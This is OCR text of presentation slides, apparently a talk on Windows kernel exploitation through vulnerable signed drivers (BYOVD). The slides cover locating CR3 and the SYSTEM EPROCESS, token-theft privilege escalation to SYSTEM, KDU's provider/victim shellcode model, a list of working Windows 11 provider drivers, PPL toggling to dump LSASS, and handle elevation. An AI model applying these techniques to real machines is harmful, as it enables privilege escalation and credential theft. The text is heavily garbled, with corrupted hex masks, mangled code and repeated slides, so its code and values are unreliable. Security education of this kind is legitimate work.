2. +8x828 DirectoryTableBase : 8x1lad@ee

3. 2: kd> r cr3

4. crI3=RRRRRRRRRRT adRRR

046
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Finding Cr3 through the DOS “LOW STUB”
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-> Driver Handle: ©x9c
-> Getting CR=2 Register wvalue from KPROCESSOR_STATE.SpecialRegisters.CR2 in "Low Stub™
-> Search for PML4 (CR=2) entry in low stub. ...

struct _ PROCESSOR_START_BLOCK {

FAR JMP_ 16 Jmp:;

ULONG CompletionFlag;

PSEUDO DESCRIPTOR_ 22 Gdt=22;

PSEUDO_ DESCRIPTOR_32 Idt32;

KGDTENTRYG64 Gdt[PSE _GDT=22 MAX + 11];

ULONGE4 TiledCr3:

FAR TARGET_ 22 PmTarget;

FAR_TARGET_=22 LmIdentityTarget;

PVOID LmTarget;

PPROCESSOR_START_BLOCK SelfMap;

ULONGGE4 MsrPat;

ULONGGE64 MsSreEFER;

KPROCESSOR_STATE ProcessorState; --> struct _ KPROCESSOR_STATE {
5 PROCESSOR_START_BLOCK; KSPECIAL REGISTERS SpecialRegisters;

CONTEXT ContextFrame;
KPROCESSOR_STATE;

"——-> struct KSPECIAL REGISTERS
ULONGS64 Croe;
ULONGGE4 Cr2;
ULONGGE4 Cr2 = ©Bxl1adeee

2 = exladecece
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CR3 “Low Stub” trick courtesy of pcileech Direct
Memory Attack (DMA) software

Designed for cool hardware
hacking implant’s
like the PCI Squirrel

https://github.com/ufrisk/pcileech

Ox4S)
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CR3 “Low Stub” trick

The DOS “Low Stub” is the area of physical
memory between 0-0x20000

In this range, as the computer boots, a
structure called PROCESSOR_START_BLOCK
is stored in memory

It is used when resuming from ACPI Sleep
Vector amongst other things

typedef struct _PROCESSOR_START_BLOCK {
FAR_JMP_16 Jmp;
ULONG CompletionFlag;
PSEUDO_DESCRIPTOR_32 Gdt32;
PSEUDO_DESCRIPTOR_32 Idt32;
KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1];
ULONG®64 TiledCr3;
FAR_TARGET_32 PmTarget;
FAR_TARGET_32 LmldentityTarget;
PVOID LmTarget;
PPROCESSOR_START_BLOCK SelfMap;
ULONG64 MsrPat;
ULONG64 MsrEFER;

‘ KPROCESSOR_STATE ProcessorState;

PROCESSOR_START_BLOCK;
} START - OxaA
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typedef struct _KSPECIAL_REGISTERS

CR3 “Low Stub” trick {

ULONG CrO;
The _PROCESSOR_START_BLOCK structure ULONG Cr2;
has a structure named KSPECIAL_REGISTERS ‘mgng ng

ULONG KernelDrO0;
ULONG KernelDr1;

KSPECIAL_REGISTERS contains the kernel’s ULONG KernelDr2:
Cr3 value which points to the start of the ULONG KernelDr3;
page tables ULONG KernelDr6;

ULONG KernelDr7;

typedef struct KPROCESSOR_STATE DESCRIPTOR Gdtr;
{ DESCRIPTOR Idtr;

CONTEXT ContextFrame; WORD Tr;
B (sprciaL REGISTERS SpecialRegisters; WORD Ldtr;

} KPROCESSOR_STATE, ULONG Reserved|[6];
*PKPROCESSOR_STATE; } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;

043
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CR3 “Low Stub” trick
__try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxfffffffffffOOff & \

*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START BLOCK->Jmp

continue;

if (Oxfffff80000000000 != (0xfffff80000000003 & \

*(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))

continue;

if (OxffffffO000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))

continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);

break;

@X@2 Physical Memory Mayhem
N
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CR3 “Low Stub” trick

__try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxffffffffffffOOff & \

*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp

continue;

if (Oxfffff80000000000 != (Oxfffff80000000003 & \

*(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))

continue;

if (Oxffffff0000000fff & *(UINT64*)(pbLowStub1lM + offset + cr3_offset))

continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);

break;

1}

@X@2 Physical Memory Mayhem
N
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CR3 “Low Stub” trick
__try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxffffffffffffOOff & \
*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START BLOCK->Jmp
continue;
if (Oxfffff80000000000 != (0xfffff80000000003 & \

*(UINT64*)(pbLowStub1M + offset + FIELD _OFFSET(PROCESSOR_START BLOCK, LmTarget))))
continue;

if (Oxffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
break;

1} WOEE
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CR3 “Low Stub” trick
__try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxffffffffffOOff & \
*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START BLOCK->Jmp
continue;

if (Oxfffff80000000000 != (Oxfffff80000000003 & \
*(UINT64*)(pbLowStub1lM + offset + FIELD _OFFSET(PROCESSOR_START_BLOCK,
LmTarget))))
continue;

if (Oxffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
break;

1} ~ XAl
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CR3 “Low Stub” trick
_try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxffffffffffOOff & \
*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
continue;

if (Oxfffff80000000000 != (0xfffff80000000003 & \
*(UINT64*)(pbLowStub1M + offset + FIELD _OFFSET(PROCESSOR_START BLOCK, LmTarget))))
continue;

if (Oxffffff0000000fff & *(UINT64*)(pbLowStub1lM + offset + cr3_offset))
continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
break;

b}
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CR3 “Low Stub” trick
_try{

while (offset < 0x100000) {
offset += 0x1000;

if (0x00000001000600E9 != (OxffffffffffffOOff & \

*(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp

continue;

if (Oxfffff80000000000 != (Oxfffff80000000003 & \

*(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))

continue;

if (Oxffffff0000000fff & *(UINT64*)(pbLowStub1lM + offset + cr3_offset))

continue;

PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);

break;

b}

@X@2 Physical Memory Mayhem
N
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Building Block API Functions for Exploitation

Building PA to VA translation functions
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< 4k (PAGE_SIZE) --------------->
KERNEL LAND

0x20000 : I 123456788765432145A911BA234A ...

get_UINT64_from_4k_PA_page(PUINT64 physical_address)

page = physical_address & OxFFFFFFFFFFFFEOOO
offset = physicall_address & Ox1FFF
PUCHAR response_from_kernel = malloc(PAGE_SIZE)
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< 4K (PAGE_SIZE) ~—-eneeemeeeeec>
KERNEL LAND

0x20000 : |123456788765432145A911BA234A ...

get_UINT64_from_4k_PA_page(PUINT64 physical_address)

page = physical_address & OxFFFFFFFFFFFFEOOO
offset = physicall_address & Ox1FFF
PUCHAR response_from_kernel = malloc(PAGE_SIZE)

IOCTL Call to Kernel for 0x20000

- Onddl




Tt e 1 LOLDriver Exploitation
R RN TR T

- I—ENSEAE— N H H—En nm —u ' Y .
nosmsa ownommes w0 oess sew @X@T Physical Memory Mayhem
TN
 S— 4k (PAGE_SIZE) --------mmeeeev >
KERNEL LAND

0x20000 : I123456788765432145A91IBA23£IA...

get_UINT64_from_4k_PA_page(PUINT64 physical_address)

page = physical_address & OxFFFFFFFFFFFFEOOO
offset = physicall_address & Ox1FFF
PUCHAR response_from_kernel = malloc(PAGE_SIZE)

IOCTL Call to Kernel for 0x20000
response_from_kernel =|,,3456788765432145A9118A234AB200¢31... | +—

 0xa5
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<-mmmmmmmmemeem 4k (PAGE_SIZE) --------mm-mm-->
0x20000 : |123456788765432145A911BA234A ...

KERNEL LAND

get_UINT64_from_4k_PA_page(PUINT64 physical_address)

page = physical_address & OxFFFFFFFFFFFFEOQO
offset = physicall_address & Ox1FFF
PUCHAR response_from_kernel = malloc(PAGE_SIZE)

IOCTL Call to Kernel for 0x20000
response_from_kernel =|353,5678876543210509118A234A8200¢31...| | €—

UINT64 response = *(PUCHAR)(response_from_kernel + offset )
(0x1234567887654321)
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Seommemmeeee Bk (PAGE_SIZE) —oemmeemee>
KERNEL LAND

0x20000 : |123456788765432145A911BA234A ...

get_UINT64_from_2mb_PA_page(PUINT64 physical_address)

page = physical_address & OxFFFFFFFFFFFFEOOQO
offset = physicall_address & Ox1FFF
PUCHAR response_from_kernel = malloc( 0x200000 )

IOCTL Call to Kernel for 0x20000
response_from_kernel ={534567887654321450911823488200c31...| | €¢—

UINT64 response = *(PUCHAR)(response_from_kernel + offset )

(0x1234567887654321)
free(response_from_kernel)

return I'ESDOI'ISE

v

0x1234567887654321
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Walking the tables to PID 4 (SYSTEM EPROCSS structure

A [CR32] = exladoee

{ {address to lookup >> 393 & ex1f+) = exi1fa
[ PMLAE ] [CRZ:e@xladeea] + (ex1fe * sireof{DMNORDG4)
[ PMLAE ] exladfse

| {{address to lookup >> 3I@) & x1f+f) * sizeolrfF{DWWORDGA)}) =
[ PDFPE ] [PMLAE:@xl1ladfse] + {(8xad * sizeofr{DMMORDGA)
[ PDPE ] Bx49890a0

checkl - ZMBPage

{{address to lookup >> 21% & @x1f+f) * sizeofrfF{DWWORDGSA)}) =
[ PDPE : 8x49098a8] + (xb3® * sireof{DMWNORDG4)

exd9abza

[FDT ]
[FDT ]

{{address to lookup >> 12 & ex1f+) * sizeofrf{DWWORDGSA) =
= [PDT:e@xd4c992abza] + exfc
= BHSalee222a9=3240908 7 a0

iphysical address: @x34+ca426 '
-——2MB lookup- - ®
2mb looking up page: 9xxZ400200 offset exffc4a4z2e

2ME rmresult: gxfHfffHfdifscosasdaedaq

-> EPROCESS#H4 (SYWSTEM) @ e@xffffffdfscosaesdaas
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Building Block API Functions for Exploitation

Building Pfn (Page Frame Numer) lookup
functions
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MiGetPteAddress — Assembly contains Hardcoded Pte Base in Memory

1) We calculate the address of MiGetPteAddress in memory
.Text:000000014022C23C

.text:000000014022823
% o | MiGetPteAddress froc near ; CODE XREF: MiDecommitRegion+55!p
.text:000000014022X23 ; MiDecommitRegion+86lp ...

V. text:000000014022C23C shr rex; 9
.text:000000014022C240 mov rax, 7FFFFFFFF8h
.text:000000014022C24A and rcx, rax
.text:000000014022C24D mov rax, OFFFFF68000000000h
.text:000000014022C257 add rax, rcx
.text:000000014022C25A retn

.text:000000014022C25A MiGetPteAddress endp

.text:000000014022C25A
.oyt :A0AAAAATAAIICIBA & —--e e e eeeeeeeeemeeeeeeeeeeeemeeeeeeeeeeee—eeee——--———-

AA
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MiGetPteAddress — Assembly contains Hardcoded Pte Base in Memory

2) We Extract the QWORD value of the PFN Table Base from the function

.text:000000014022C23C
.text:000000014022C23C

.text:000000014022C23C MiGetPteAddress proc near ; CODE XREF: MiDecommitRqMion+55!p
.text:000000014022C23C ; MiDecommitRegion+86!p
V. text:000000014022C23C shr rEX; 9
.Text:000000014022C240 mov rax, 7FFFFFFFF8h
.Text:000000014022C24A and rcx, rax
.text:000000014022C24D mov ax,[BEEEEEG3000000000h ] (m——
.text:000000014022C257 add rax, rcx
.Text:000000014022C25A retn

.text:000000014022C25A MiGetPteAddress endp

.text:000000014022C25A
.oyt :A0AAAAATAAIICIBA & —--e e e eeeeeeeeemeeeeeeeeeeeemeeeeeeeeeeee—eeee——--———-
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MiGetPteAddress() — decompiled to C
( Now we can write our own PFN Table lookup routine! )

- - - s = - - i
-

: #? Decompile: MiGetPteAddress [CodeBrowser: process explorer sytem driver:/ntos... — O X
File Edit Navigation Search Select Help

bR BRDE I OIDULF V| oo ﬁ
| DO [= | |~ X

|2undefined * MiGetPteAddress (ulonglong param 1 )_ A.ddress we want to
find Page Frame

Number for
"5 return &DAT ffff£f68000000000 + (param 1 >> 9 & OxX7Efffff£ff£8);
e
7

Note: PFN’s are multiplied by 0x1000 (4KB) to find the physical address of the next paging

structure.
 ORAC
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HCVI/VBS

Extended Page Table Pointer
(EPTP) is used to convert
@x1000 into an SPA by walking
the extended page tables,
starting with the EPT PML4
structure

HVClI is a kernel hypervisor Convert GPA (9x1000) into SPA
Technology that extends page tables
Up additional levels so you have
5-layer page translation.

>

Child partition (VM)

Here the kernel can request that the Virtual machine is accessing
virtual address @x1adeaee,
Hypervisor make’s sure certain pages WiNCH COfTaspofcis o the
physical address @x108@ within
are protected (Page Guard) and the VM

Tricks like PTE overwrites can’t occur
(Priv Esc technigue to make pages
executable)

04D
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HCVI/VBS - -
HVCI is employed through the Windows User Mode Sinne L sl

Mode (IUM)
Hypervisor’s usage of two abstract

Secure
Kernels known as VTL 0 and VTL 1 that Kernel Mode <-1-->'
Operate above the running kernel. | I I
. . Hyper-V Hypervisor
This model offers many protections to [
Prevent userland to kernel land
SLAT Hardware VYV

Privilege escalations - -

 Ox4E
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Exploitation — Token Theft Priv Esc (SYSTEM)
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Locating SYSTEM'’s EPROCESS structure from Userland
DHA Userland Find SYSTEM EPROCESS.exe explained... (c++)

STEP 1: Finding Windows Kernel Base

 The EnumDeviceDrivers() function will populate a list of loaded system modules
* The first entry [0] contains the loading address of ntosknrl.exe (windows kernel)

uintptr_t GetKernelBaseAddress() {
uintptr_t driver_bases[1000];
DWORD num_bytes = @;

// this call will load ntosknrl.exe into driver_bases[@]
if (EnumDeviceDrivers((LPVOID*)driver_bases, sizeof(driver_bases), &num_bytes)) {
return driver_bases[0]:; /#*ntosnrl virtual base address#/

}

return 0;

- OS50
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Locating SYSTEM'’s EPROCESS structure from Userland

DHA Userland Find SYSTEM EPROCESS.exe explained... (c++)

STEP 2: Finding SYSTEM’s EPROCCESS structure offset
 We use LoadLibraryA() to load ntoskrnl.exe (Normally used for DLL’s — but .EXE, .SYS, and

.DLL are the same PE file format

* We use GetProcAddress() to find the export for PsinitialSystemProcess (EPROCESS pointer

offset)

( GetProcAddress() is normally used to look
up function addresses — but what it’s
ACTUALLY doing is looking up EXPORT

names/addresses © )

e We Add Kernelbase + PsInitiaISystemIBrocess together for pointer to EPROCESS in memory

DWORD64U find_SYSTEM_EPROCESS_from_kernelbase_and_PsInitialSystemProcess() {

DWORDeU res;

// use LoadLibraryA to Extract offset of PsInitialSystemProcess in ntosnrnl.exe

ULONG6U ntos = (ULONG6U)LoadLibraryA( ipLibFileName: "ntoskrnl.exe");

ULONGEL addr = {ULGNGGH)GetDrocAddressCCHHDDULE]ntos LpProcName: Qggﬂixiékgyakgmﬁgggggglg;

S
FreelLibrar {hLbM dule {HMODULE)ntos)

// Get loaded kernel base
DWORD6U kernelBase = GetKernelBaseAddress();

// return PsInitialSystemProcess_offset + ntosnrl.exe_base
return (addr - ntos + kernelBase);

- OS5l
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* Privilege Escalation via Token theft 1) We Copy
Token from
KERNEL LAND kernel memory EPROCESS W/
b PID #4
Vulnerable Driver ¢ _E_?ROCESS s> (SYSTEM)
P EPROCESS
A
USER LAND
IOCTL calls
\ 4

Userland Exploit

- ORS2
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* Privilege Escalation via Token theft 1) We Copy
Token from
KERNEL LAND kernel memory EPROCESS W/
» PID #4
Vulnerable Driver ¢ Erse (SYSTEM)
» EPROCESS
A 2) We Locate
our EPROCESS
- PID #
USER LAND
IOCTL calls
\ J

Userland Exploit

- O%53
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LOLDriver Exploitation

* Privilege Escalation via Token theft

KERNEL LAND

Vulnerable Driver

2 Physical Memory Mayhem

1) We Copy
Token from
EPROCESS w/
PID #4
(SYSTEM)

kernel memory

EPROCESS

P EPROCESS

A

2) We Locate
our EPROCESS
PID #

USER LAND
IOCTL calls

\J

Userland Exploit

3) We copy
SYSTEM Token
into our
EPROCESS

- ORS4
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* Privilege Escalation via Token theft
KERNEL LAND kernel memory
Vulnerable Driver ¢ .ETROCESS
P EPROCESS
A
USER LAND
IOCTL calls
\/ Now running as

Userland Exploit _ SYSTEM

- OR%S9S
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* Privilege Escalation via Token theft

Administrator: Command Prompt

C:\Users\WDKRemoteUser\Desktop\xfer>whoami
desktop-chiaiij\wdkremoteuser

C:\Users\WDKRemoteUser\Desktop\xfer>run _msiob64 privesc.bat

Microsoft Windows [Version 10.06.19645.2965]
(c) Microsoft Corporation. All rights reserved.

C:\Users\WDKRemoteUser\Desktop\xfer>
C:\Users\WDKRemoteUser\Desktop\xfer>whoami

nt authority\system

C:\Users\WDKRemoteUser\Desktop\xfer>_
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Exploitation — The Provider / Victim model
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LOLDriver Exploitation

2 Physical Memory Mayhem

e How KDU Works... The Victim-Provider Model

KERNEL LAND

Provider Driver

Victem Driver
PROCEXP152.5YS

A

N\

L

Ll

USER LAND

KDU

WSS
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* How KDU Works... The Victim-Provider Model
KERNEL LAND
Provider Driver# Victem Driver
[shellcode]
N\
USER LAND =

KDU

- ORSY
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* How KDU Works... The Victim-Provider Model
KERNEL LAND

Victem Driver Unsigned
[shellcode] » Driver

|

USER LAND

KDU

LSA
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* How KDU Works... The Victim-Provider Model

Driver

KERNEL LAND

USER LAND
KDU

- ORSB
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e How KDU Works... The Victim-Provider Model

KERNEL LAND

Driver

USER LAND

- OnSC
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KDU Provider BYOVD Model

typedef struct _KDU_PROVIDER {
struct {

provRegisterDriver RegisterDriver; //optional
provUnregisterDriver UnregisterDriver; //optional

provAllocateKernelVM AllocateKernelVM; //optional
provFreeKernelVM FreeKernelVM; //optional

provReadKernelVM ReadKernelVM;
provWriteKernelVM WriteKernelVM; _

provVirtualToPhysical VirtualToPhysical; //optional
provReadControlRegister ReadControlRegister; //optional

provQueryPML4 QueryPML4Value; //optional
provReadPhysicalMemory ReadPhysicalMemory; //optional
provWritePhysicalMemory WritePhysicalMemory; //optional
} Callbacks;
KDU_PROVIDER, * PKDU_PROVIDER;
A - 05D
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KDU Provider BYOVD Model

#1 - 1QVM64.sys
#13 — AslO2.sys

#15 — GmerDrv.sys
#20 — DBULtiIDrv2.sys
#22 — AslO3.sys

#26 — impoutx64.sys
#27 — Directlo64.sys
#29 — ALSyslo64.sys

Windows 11 — Working Providers

OB+ D2

:' i 7 LY &) S = = = ) ) Y
";721:( _ A-*—B;__,i = I =

) ﬁ AsTOR = winTo e
— =TT (Au ek ‘ == 1; —

2%-crash —
| ipneiy AL Sy 100 .
30~ AMD qeguitsmet
S-S
3Z- ‘”’5"“‘Ml e dorue — xbed pt
- e
23— ccas .

LY~ (Ng Pt
35— ro/a

Win 11 (checked 07/11/23
in 11 (checke /11/ OEE
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PROCEXP152.SYS — Process Explorer — KDU'’s Victim Driver

It’s an old binary — so that means it was compiled without Code Integrity (Cl) checks that
prevent shellcode/ROP (ROP Is dead for other Reasons — see: KVA Shadow Stack)

Set to have INIT section that is RWX — we can overwrite the IRP handlers for handlers such
as IRP_MJ_CREATE

]ICI_TP)_MJ_CREATE is triggered when you open \\.\PROCEXP152 with CreateFile (opening the
ile

This means we can write shellcode in there to do anything we want.

~ O%S5[F
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Exploitation — Large Page Drivers
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Large Page Drivers

It was discovered that Drivers could be added to a special list designated in the windows registry for
system drivers known as ‘Large Page Drivers’

These Large Page Drivers — use large (2 MB) pages instead of the standard 4KB (0x1000 byte) pages.

In doing so — They combine the .TEXT (RX) and .DATA (RW) sections of an executable into a single
section

That is both RW and RX ( so RWX)

Example:
GitHub - VollRagm/lpmapper: A mapper that maps shellcode into loaded large page drivers

- OxE1
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Large Page Drivers

t View Favorites Help
rHEKEY_LOCAL_MACHINE\SYSTEMMA CurrentControl5et\Control\Session Manager\Memory Management

ement ™
—— Edit Multi-5tring e
} b cet)
| Value name: (0
Large PageDrivers ()
1 Value data: gefile.s;
beep.sys (0
()

- 062
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Exploitation — Protected Process Lights (PPL)
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PPL Elevation Since we can modify EPROCESS and its fields...

» Protected Process Light (PPL) technology is used for controllin? and protectinig runningthocesses and
la

@X@2 Physical Memory Mayhem
N

[?_rotecting them from infection by malicious code and the poten

hese processes include:

« Shutdown

« Stream deployment

» Access to virtual memory

» Debugging

» Copying of descriptors

« Changing the memory working set

« Changing and receiving information about the current state of the thread
* Impersonation of threads (running process threads under a different account)

READ MORE HERE: https://spikysabra.qgitbook.io/kernelcactus/pocs/ppl-togaling

lly harmful effects of other processes.

Note: Ounce we toggle a
process to be PPL

we can dump LSASS for
passwords!
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Exploitation — Handle elevation
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Handle elevation
Since we can modify EPROCESS and its fields...

e Each _EPROCESS structure holds within it a pointer to the _HANDLE_TABLE object, Named the
ObjectTable.

* This specific pointer, is to the head of the Handle Table, and contains a list of handles which appear
one after the other in the memory.

* Given read and write access to the _HANDLE_TABLE_ENTRY object itself, one can edit the
GrantedAccessBits

* handle created for SYNCHRONIZE, READ_CONTROL, QUERY_LIMITED _INFORMATION, can be
escalated to FULL_CONTROL

READ MORE HERE: https://spikysabra.gitbook.io/kernelcactus/pocs/handle-elevation
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Next Talk:

Kernel Talks 0x04
BADUSB and the Gadget-FS filesystem
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Thanks!

Russell Sanford

xort@sploit.online
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